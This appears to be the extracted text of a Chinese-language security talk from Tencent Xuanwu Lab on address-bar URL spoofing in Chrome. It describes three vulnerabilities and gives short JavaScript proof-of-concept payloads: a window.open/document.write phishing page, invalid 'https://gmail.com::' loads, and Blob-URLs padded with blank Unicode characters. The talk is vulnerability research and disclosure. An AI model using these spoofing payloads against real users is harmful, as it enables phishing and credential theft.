浏览器地址栏之困

腾讯玄武实验室徐少培(@xisigr)腾讯玄武实验室研究员Web安全研究浏览器安全研究《Web前端黑客技术揭秘》作者联系方式weibo.
com/xisigrxisigr.
comxisigr@gmail.
comWerecognizethattheaddressbaristheonlyreliablesecurityindicatorinmodernbrowsers.
--GoogleSecurityTeam[1][1]https://www.
google.
com/about/appsecurity/reward-program/HTTPS:网址左边的绿色符号对你意味着什么HTTP:网址左边的白色符号对你意味着什么[1]https://www.
usenix.
org/conference/soups2016/technical-sessions/presentation/porter-feltURL标准目前由whatwg维护[1]URL经过20多年的发展其定义在不断扩大,很多现代的主题也开始被URL规范所覆盖.
将URI[RFC3986][2]和IRI[RFC3987][3]与现代接轨,并逐步淘汰.
使得对'网址'一词进行标准化.
URL/URI/IRIURL的解析应该向HTML解析一样坚固[1]https://url.
spec.
whatwg.
org/[2]https://tools.
ietf.
org/html/rfc3986[3]https://tools.
ietf.
org/html/rfc3987伪造了Web最基本的安全边界,起源(orgin)Orgin=scheme+hostname+port但人们(包括开发人员)往往不了解起源的概念,而更倾向于理解主机(hostname)的概念.
UI简化:忽略scheme(或图标替换)/port(默认80)可伪造的主机包括什么域名[RFC1034]IP:IPv4[RFC791]/IPv6[RFC4291]只要伪造了主机,就可以认为这是一个URLSpoof漏洞.
URL中的任何一个部分,都有可能成为触发URLSpoof漏洞的攻击向量.
https://login.
your-bank.
com.
evil.
com/login.
your-bank.
com漏洞介绍漏洞名称ChromeAddressBarURLSpoofingOnIOS受影响产品Chromepayload="keypayload";functionpwned(){vart=window.
open('','new');t.
document.
write(atob(payload));}clickmekeypayloadSpoofvarlink=document.
createElement('a');link.
href='https://gmail.
com::';document.
body.
appendChild(link);link.
click();keypayload发生了什么①,跳转到一个新页面时,chrome允许对'https://gmail.
com::'进行加载.
这是错误的开始,加载了一个无效地址,并未对无效地址做任何处理②,页面开始加载'https://gmail.
com::',因加载的是一个无效的地址,于是地址栏处于一个挂起的状态(pendingentry).
③,当内容开始返回时,调用'about:blank',但此时chrome还处于一个挂起状态('https://gmail.
com::'),并且把'https://gmail.
com::'作为了最终的提交地址.
④,页面加载完毕.
一个URLSpoof漏洞诞生了.
漏洞介绍漏洞名称ChromeAddressBarURLSpoofingwithBlob-URLs受影响产品GoogleChromefunctionpwned(){vart=window.
open('','new');t.
document.
write("phishingpagegoogle");t.
stop();}clickme1clickme2keypayload(1)blob:http://www.
google.
com%EF%BE%A0…………@xisigr.
com//UnicodeU+FFA0(2)blob:http://www.
google.
com…………@xisigr.
com//空格keypayload发生了什么Chrome渲染了Blob-URLs的用户名和密码部分,这是极其危险的.
一个URL的用户名和密码不应该被渲染,因为它们可以被误认为是一个URL的主机.
https://examplecorp.
com@attacker.
example/Unicode字符(比如U+0020、U+FFA0),在Chrome地址栏中将显示空白.
大量的空白字符覆盖了真实的主机.
漏洞介绍漏洞名称ChromeAddressBarURLSpoofing受影响产品ChromeRightClickkeypayload(1)google.
com::(2)www.
google.
com::/urlq=http%3A%2F%2Fxisigr.
com%2Ftest%2Fspoof%2Fchrome%2F3.
html&sa=D&sntz=1&usg=AFQjCNG-QnLGG1ixIlOzlpZQn5cweSU3Cwkeypayload发生了什么通过右键在新窗口打开页面,Chrome允许加载(google.
com::)一个无效的地址.
加载(google.
com)返回页面,并将(google.
com:)作为最后提交地址.
之后的重定向不会触发(google.
com:)被更新加载完毕.
一个URLSpoof漏洞诞生了.
地址栏之困浏览器地址栏是个矛盾体,它提供两个相互竞争的角色:你在哪和你要去哪.
它只能显示其中的一个.
而地址栏恰是困于这两个角色的转换之中.
深刻理解地址栏之困,即是挖掘URLSpoof漏洞的核心奥义.
公众号和微博"腾讯玄武实验室"每天推送国际最新安全技术资料